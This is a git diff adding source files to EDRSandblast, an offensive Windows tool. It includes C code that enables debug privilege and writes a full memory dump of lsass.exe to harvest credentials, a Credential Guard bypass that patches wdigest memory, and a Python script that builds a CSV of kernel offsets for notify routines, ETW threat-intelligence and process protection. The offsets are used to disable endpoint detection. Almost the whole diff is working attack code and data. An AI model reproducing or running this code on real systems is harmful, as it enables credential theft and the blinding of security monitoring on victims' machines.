+++ b/EDRSandblast/Utils/LSASSDump.c @@ -0,0 +1,101 @@ +/* + +--- LSASS dump functions. + +*/ + +#include "LSASSDump.h" + +BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) +{ + LUID luid; + BOOL bRet = FALSE; + + if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) + { + TOKEN_PRIVILEGES tp; + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0; + + if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) + { + bRet = (GetLastError() == ERROR_SUCCESS); + } + } + return bRet; +} + +DWORD WINAPI dumpLSASSProcess(void* data) { + HANDLE hProcessSnap; + HANDLE hProcess; + PROCESSENTRY32 pe32; + DWORD dwPriorityClass; + + TCHAR* outputDump = (TCHAR*)data; + + //Enable the SeDebugPrivilege + HANDLE hToken; + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) + { + SetPrivilege(hToken, SE_DEBUG_NAME, TRUE); + CloseHandle(hToken); + } + + // Take a snapshot of all processes in the system. + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + _tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n")); + return 1; + } + + // Set the size of the structure before using it. + pe32.dwSize = sizeof(PROCESSENTRY32); + + // Retrieve information about the first process, + // and exit if unsuccessful + if (!Process32First(hProcessSnap, &pe32)) { + _tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure + CloseHandle(hProcessSnap); // clean the snapshot object + return 1; + } + + // Now walk the snapshot of processes, and look for lsass. + do { + if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) { + continue; + } + + // Retrieve the priority class. + dwPriorityClass = 0; + hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); + if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) { + _tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n")); + return 1; + } + + else { + dwPriorityClass = GetPriorityClass(hProcess); + if (!dwPriorityClass) { + _tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n")); + } + HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hDumpFile == INVALID_HANDLE_VALUE) { + _tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n")); + return 1; + } + BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL); + if (!dumped) { + _tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n")); + return 1; + } + _tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump); + CloseHandle(hProcess); + } + + } while (Process32Next(hProcessSnap, &pe32)); + + CloseHandle(hProcessSnap); + return 0; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/NtoskrnlOffsets.c b/EDRSandblast/Utils/NtoskrnlOffsets.c new file mode 100644 index 0000000..1f09e8a --- /dev/null +++ b/EDRSandblast/Utils/NtoskrnlOffsets.c @@ -0,0 +1,44 @@ +/* + +--- ntoskrnl Notify Routines' offsets from CSV functions. +--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file. + +*/ + +#include "NtoskrnlOffsets.h" + +union NtoskrnlOffsets ntoskrnlOffsets = { 0 }; + +// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. +union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) { + TCHAR ntoskrnlVersion[256] = { 0 }; + GetNtoskrnlVersion(ntoskrnlVersion); + _tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r")); + + union NtoskrnlOffsets offset_results = { 0 }; + if (offsetFileStream == NULL) { + _tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n")); + return offset_results; + } + + TCHAR lineNtoskrnlVersion[256]; + TCHAR line[2048]; + while (_fgetts(line, _countof(line), offsetFileStream)) { + TCHAR* dupline = _tcsdup(line); + TCHAR* tmpBuffer = NULL; + _tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer)); + if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) { + TCHAR* endptr; + _tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion); + for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) { + offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); + } + break; + } + } + fclose(offsetFileStream); + return offset_results; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/WdigestOffsets.c b/EDRSandblast/Utils/WdigestOffsets.c new file mode 100644 index 0000000..9243217 --- /dev/null +++ b/EDRSandblast/Utils/WdigestOffsets.c @@ -0,0 +1,46 @@ +/* + +--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory. +--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/ +--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240 + +*/ + +#include "WdigestOffsets.h" + +union WdigestOffsets wdigestOffsets = { 0 }; + +// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. +union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) { + TCHAR wdigestVersion[256] = { 0 }; + GetWdigestVersion(wdigestVersion); + _tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r")); + + union WdigestOffsets offsetResults = { 0 }; + if (offsetFileStream == NULL) { + _tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n")); + return offsetResults; + } + + TCHAR lineWdigestVersion[256]; + TCHAR line[2048]; + while (_fgetts(line, _countof(line), offsetFileStream)) { + TCHAR* dupline = _tcsdup(line); + TCHAR* tmpBuffer = NULL; + _tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer)); + if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) { + TCHAR* endptr; + _tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion); + // TODO: switch hardcoded value to sizeof or const defined + for (int i = 0; i < 2; i++) { + offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); + } + break; + } + } + fclose(offsetFileStream); + return offsetResults; +} \ No newline at end of file diff --git a/Offsets/ExtractOffsets.py b/Offsets/ExtractOffsets.py new file mode 100644 index 0000000..91c87bf --- /dev/null +++ b/Offsets/ExtractOffsets.py @@ -0,0 +1,268 @@ +import argparse +import csv +import os + +from requests import get +from gzip import decompress +from json import loads, dumps +from subprocess import run + +import win32api +from concurrent.futures import ThreadPoolExecutor +import threading +CSVLock = threading.Lock() + +machineType = dict(x86=332, x64=34404) +knownImageVersions = dict(ntoskrnl=list(), wdigest=list()) +extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll") + +def downloadSpecificFile(entry, pe_basename, pe_ext, knownPEVersions, output_folder): + pe_name = f'{pe_basename}.{pe_ext}' + + if 'fileInfo' not in entry: + # print(f'[!] Entry {pe_hash} has no fileInfo, skipping it.') + return "SKIP" + if 'timestamp' not in entry['fileInfo']: + # print(f'[!] Entry {pe_hash} has no timestamp, skipping it.') + return "SKIP" + timestamp = entry['fileInfo']['timestamp'] + if 'virtualSize' not in entry['fileInfo']: + # print(f'[!] Entry {pe_hash} has no virtualSize, skipping it.') + return "SKIP" + if "machineType" not in entry["fileInfo"] or entry["fileInfo"]["machineType"] != machineType["x64"]: + return "SKIP" + virtual_size = entry['fileInfo']['virtualSize'] + file_id = hex(timestamp).replace('0x','').zfill(8).upper() + hex(virtual_size).replace('0x','') + url = 'https://msdl.microsoft.com/download/symbols/' + pe_name + '/' + file_id + '/' + pe_name + version = entry['fileInfo']['version'].split(' ')[0] + + # Output file format: _build-revision. + output_version = '-'.join(version.split('.')[-2:]) + output_file = f'{pe_basename}_{output_version}.{pe_ext}' + + # If the PE version is already known, skip download. + if output_file in knownPEVersions: + print(f'[*] Skipping download of known {pe_name} version: {output_file}') + return "SKIP" + + output_file_path = os.path.join(output_folder, output_file) + if os.path.isfile(output_file_path): + print(f"[*] Skipping {output_file_path} which already exists") + return "SKIP" + + print(f'[*] Downloading {pe_name} version {version}... ') + try: + peContent = get(url) + with open(output_file_path, 'wb') as f: + f.write(peContent.content) + print(f'[+] Finished download of {pe_name} version {version} (file: {output_file})!') + return "OK" + except Exception: + print(f'[!] ERROR : Could not download {pe_name} version {version} (URL: {url}).') + return "KO" + +def dowloadPEFileFromMS(pe_basename, pe_ext, knownPEVersions, output_folder): + pe_name = f'{pe_basename}.{pe_ext}' + + print (f'[*] Downloading {pe_name} files!') + + pe_json_gz = get(f'https://winbindex.m417z.com/data/by_filename_compressed/{pe_name}.json.gz').content + pe_json = decompress(pe_json_gz) + pe_list = loads(pe_json) + + futures = dict() + with ThreadPoolExecutor() as executor: + for pe_hash in pe_list: + entry = pe_list[pe_hash] + futures[pe_hash] = executor.submit(downloadSpecificFile,entry, pe_basename, pe_ext, knownPEVersions, output_folder) + for (i,f) in enumerate(futures): + res = futures[f].result() + print(f"{i+1}/{len(futures)}", end="\r") + +def get_symbol_offset(symbols_info, symbol_name): + for line in symbols_info: + # sometimes, a "_" is prepended to the symbol name ... + if line.strip().split(" ")[-1].endswith(symbol_name): + return int(line.split(" ")[0], 16) + else: + return 0 + +def get_field_offset(symbols_info, field_name): + for line in symbols_info: + if field_name in line: + assert "offset" in line + symbol_offset = int(line.split("+")[-1], 16) + return symbol_offset + else: + return 0 + +def get_file_version(path): + info = win32api.GetFileVersionInfo(path, '\\') + ms = info['FileVersionMS'] + ls = info['FileVersionLS'] + return (win32api.HIWORD(ms), win32api.LOWORD(ms), + win32api.HIWORD(ls), win32api.LOWORD(ls)) + +def extractOffsets(input_file, output_file, mode): + if os.path.isfile(input_file): + try: + # check image type (ntoskrnl, wdigest, etc.) + r = run(["r2", "-c", "iE", "-qq", input_file], shell=True, capture_output=True) + for line in r.stdout.decode().splitlines(): + if "ntoskrnl.exe" in line: + imageType = "ntoskrnl" + break + elif "wdigest.dll" in line: + imageType = "wdigest" + break + else: + print(f"[*] File {input_file} unrecognized") + return + + #todo : remove this and make a unique function + if mode != imageType: + print(f"[*] Skipping {input_file} since we are in {mode} mode") + return + # dump version number + """ + r = run(["r2", "-c", "iV", "-qq", input_file], shell=True, capture_output=True) + for line in r.stdout.decode().splitlines(): + line = line.strip() + if line.startswith("FileVersion:"): + full_version = [int(frag) for frag in line.split(" ")[-1].split(".")] + break + else: + assert(False) + """ + if os.path.sep not in input_file: + input_file = "." + os.path.sep + input_file + full_version = get_file_version(input_file) + + # Checks if the image version is already present in the CSV + extension = extensions_by_mode[imageType] + imageVersion = f'{imageType}_{full_version[2]}-{full_version[3]}.{extension}' + + if imageVersion in knownImageVersions[imageType]: + print(f'[*] Skipping known {imageType} version {imageVersion} (file: {input_file})') + return + + + print(f'[*] Processing {imageType} version {imageVersion} (file: {input_file})') + # download the PDB if needed + r = run(["r2", "-c", "idpd", "-qq", input_file], shell=True, capture_output=True) + # dump all symbols + r = run(["r2", "-c", "idpi", "-qq", '-B', '0', input_file], shell=True, capture_output=True) + all_symbols_info = [line.strip() for line in r.stdout.decode().splitlines()] + + if imageType == "ntoskrnl": + symbols = [("PspCreateProcessNotifyRoutine",get_symbol_offset), + ("PspCreateThreadNotifyRoutine",get_symbol_offset), + ("PspLoadImageNotifyRoutine", get_symbol_offset), + ('_PS_PROTECTION Protection', get_field_offset), + ("EtwThreatIntProvRegHandle", get_symbol_offset), + ('_ETW_GUID_ENTRY* GuidEntry', get_field_offset), + ('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset)] + elif imageType == "wdigest": + symbols = [ + ("g_fParameter_UseLogonCredential",get_symbol_offset), + ("g_IsCredGuardEnabled",get_symbol_offset) + ] + + + symbols_values = list() + for symbol_name, get_offset in symbols: + symbol_value = get_offset(all_symbols_info, symbol_name) + symbols_values.append(symbol_value) + #print(f"[+] {symbol_name} = {hex(symbol_value)}") + + with CSVLock: + with open(output_file, 'a') as output: + output.write(f'{imageVersion},{",".join(hex(val).replace("0x","") for val in symbols_values)}\n') + + #print("wrote into CSV !") + + knownImageVersions[imageType].append(imageVersion) + + print(f'[+] Finished processing of {imageType} {input_file}!') + + except Exception as e: + print(f'[!] ERROR : Could not process file {input_file}.') + print(f'[!] Error message: {e}') + print(f'[!] If error is of the like of "\'NoneType\' object has no attribute \'group\'", kernel callbacks may not be supported by this version.') + + elif os.path.isdir(input_file): + print(f'[*] Processing folder: {input_file}') + with ThreadPoolExecutor() as extractorPool: + args = [(os.path.join(input_file, file), output_file, mode) for file in os.listdir(input_file)] + for (i,res) in enumerate(extractorPool.map(extractOffsets, *zip(*args))): + print(f"{i+1}/{len(args)}", end="\r") + print(f'[+] Finished processing of folder {input_file}!') + + else: + print(f'[!] ERROR : The specified input {input_file} is neither a file nor a directory.') + + + +def loadOffsetsFromCSV(loadedVersions, CSVPath): + print(f'[*] Loading the known known PE versions from "{CSVPath}".') + + with open(CSVPath, "r") as csvFile: + csvReader = csv.reader(csvFile, delimiter=',') + next(csvReader) + for peLine in csvReader: + loadedVersions.append(peLine[0]) + + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + + parser.add_argument('mode', help='ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest') + parser.add_argument('-i', '--input', dest='input', required=True, + help='Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from. If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder.') + parser.add_argument('-o', '--output', dest='output', + help='CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.') + parser.add_argument('-d', '--dowload', dest='dowload', action='store_true', + help='Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.') + + args = parser.parse_args() + mode = args.mode + if mode not in knownImageVersions: + print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl" and "wdigest"') + exit(1) + + # check R2 version + output = run(["r2", "-V"], shell=True, capture_output=True).stdout.decode() + ma,me,mi = map(int, output.splitlines()[0].split(" ")[0].split(".")) + if (ma, me, mi) < (5,4,3): + print("WARNING : This script has been tested with radare2 5.4.3 (works) and 4.3.1 (does NOT work)") + print(f"You have version {ma}.{me}.{mi}, if is does not work correctly, meaning most of the offsets are not found (i.e. 0), check radare2's 'idpi' command output and modify get_symbol_offset() & get_field_offset() to parse symbols correctly") + input("Press enter to continue") + + + # If the output file exists, load the already analyzed image versions. + # Otherwise, write CSV headers to the new file. + if not args.output: + args.output = mode.capitalize() + 'Offsets.csv' + if os.path.isfile(args.output): + loadOffsetsFromCSV(knownImageVersions[mode], args.output) + print(f'[+] Loaded {len(knownImageVersions[mode])} known {mode} versions from "{args.output}"') + else: + with open(args.output, 'w') as output: + if mode == "ntoskrnl": + output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n') + elif mode == "wdigest": + output.write('wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset\n') + else: + assert False + # In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com. + # The symbols for each version will be dowloaded from the Microsoft symbols servers. + # Only new versions will be downloaded if the specified output file already contains offsets. + if (args.dowload): + if not os.path.isdir(args.input): + print('[!] ERROR : in download mode, -i / --input option must specify a folder') + exit(1) + extension = extensions_by_mode[mode] + dowloadPEFileFromMS(mode, extension, knownImageVersions[mode], args.input) + + # Extract the offsets from the specified file or the folders containing image files. + extractOffsets(args.input, args.output, mode) diff --git a/Offsets/NtoskrnlOffsets.csv b/Offsets/NtoskrnlOffsets.csv new file mode 100644 index 0000000..4e2f8a7 --- /dev/null +++ b/Offsets/NtoskrnlOffsets.csv @@ -0,0 +1,420 @@ +ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset +ntoskrnl_9600-20111.exe,2dac50,2daa50,2da850,67a,0,20,50 +ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50 +ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50 +ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50 +ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50 +ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 +ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 +ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 +ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 +ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 +ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50 +ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50 +ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50 +ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50 +ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50 +ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50 +ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50 +ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50 +ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50 +ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50 +ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50 +ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50 +ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50 +ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50 +ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50 +ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50 +ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50 +ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50 +ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50 +ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50 +ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50 +ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50 +ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50 +ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50 +ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50 +ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50 +ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50 +ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50 +ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50 +ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50 +ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50 +ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50 +ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50 +ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50 +ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50 +ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50 +ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50 +ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50 +ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50 +ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50 +ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50 +ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50 +ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50 +ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50 +ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50 +ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50 +ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50 +ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50 +ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50 +ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50 +ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50 +ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50 +ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50 +ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50 +ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50 +ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50 +ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50 +ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50 +ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50 +ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50 +ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50 +ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50 +ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50 +ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50 +ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50 +ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50 +ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50 +ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50 +ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50 +ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50 +ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50 +ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50 +ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50 +ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50 +ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50 +ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50 +ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50 +ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50 +ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50 +ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50 +ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50 +ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50 +ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50 +ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50 +ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50 +ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50 +ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50 +ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50 +ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50 +ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50 +ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50 +ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50 +ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50 +ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50 +ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50 +ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50 +ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50 +ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50 +ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50 +ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50 +ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50 +ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50 +ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50 +ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50 +ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50 +ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50 +ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50 +ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50 +ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50 +ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50 +ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50 +ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50 +ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 +ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50 +ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50 +ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50 +ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50 